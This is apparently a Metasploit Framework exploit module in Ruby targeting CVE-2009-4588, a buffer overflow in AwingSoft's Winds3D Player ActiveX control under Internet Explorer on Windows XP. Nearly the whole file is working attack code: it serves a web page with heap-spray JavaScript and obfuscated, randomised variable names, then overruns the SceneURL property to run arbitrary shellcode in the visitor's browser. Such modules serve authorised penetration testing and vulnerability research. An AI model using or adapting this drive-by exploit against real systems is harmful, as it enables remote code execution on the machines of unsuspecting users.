Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

##

# awingsoft_web3d_bof.rb

#

# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework

#

# Tested successfully on the following platforms:

#  - Internet Explorer 6, Windows XP SP2

#  - Internet Explorer 7, Windows XP SP3

#

# WindsPly.ocx versions tested:

#  - 3.0.0.5

#  - 3.5.0.0

#  - 3.6.0.0 (beta)

#

# Trancer

# http://www.rec-sec.com

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::HttpServer::HTML

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a data segment buffer overflow within Winds3D Viewer of

                                AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of

                                AwingSoft Web3D Player.

                                By setting an overly long value to the 'SceneURL' property, an attacker can

                                overrun a buffer and execute arbitrary code.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         =>

                                [

                                        'shinnai <shinnai[at]autistici.org>',        # Original exploit [see References]

                                        'Trancer <mtrancer[at]gmail.com>',                  # Metasploit implementation

                                        'jduck'

                                ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2009-4588' ],

                                        [ 'OSVDB', '60017' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/9116' ],

                                        [ 'URL', 'http://www.shinnai.net/exploits/nsGUdeley3EHfKEV690p.txt' ],

                                        [ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process'

                                },

                        'Payload'        =>

                                {

                                        'Space'         => 1024,

                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",

                                        'StackAdjustment' => -3500

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        # data segment size: 76180

                                        # crasher offsets: 2640, 2712, 8984, 68420, 68424

                                        [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]

                                ],

                        'DisclosureDate' => 'Jul 10 2009',

                        'DefaultTarget'  => 0))

        end

        def on_request_uri(cli, request)

                # Re-generate the payload

                return if ((p = regenerate_payload(cli)) == nil)

                # Encode the shellcode

                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Setup exploit buffers

                nops           = Rex::Text.to_unescape([target.ret].pack('V'))

                ret            = Rex::Text.uri_encode([target.ret].pack('V'))

                blocksize = 0x40000

                fillto    = 500

                offset           = target['Offset']

                # Randomize the javascript variable names

                winds3d      = rand_text_alpha(rand(100) + 1)

                j_shellcode  = rand_text_alpha(rand(100) + 1)

                j_nops       = rand_text_alpha(rand(100) + 1)

                j_ret        = rand_text_alpha(rand(100) + 1)

                j_headersize = rand_text_alpha(rand(100) + 1)

                j_slackspace = rand_text_alpha(rand(100) + 1)

                j_fillblock  = rand_text_alpha(rand(100) + 1)

                j_block      = rand_text_alpha(rand(100) + 1)

                j_memory     = rand_text_alpha(rand(100) + 1)

                j_counter    = rand_text_alpha(rand(30) + 2)

                # we must leave the page, so we use http-equiv and javascript refresh methods

                html = %Q|<html>

<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>

<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>

<script>

#{j_shellcode}=unescape('#{shellcode}');

#{j_nops}=unescape('#{nops}');

#{j_headersize}=20;

#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

#{j_memory}=new Array();

for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret} = unescape('#{ret}');

while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }

#{winds3d}.SceneURL = #{j_ret};

setTimeout('window.location = "#{get_resource}";', 500);

</script>

</html>

|

                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

                # Transmit the response to the client

                send_response(cli, html, { 'Content-Type' => 'text/html' })

                # Handle the payload

                handler(cli)

        end

end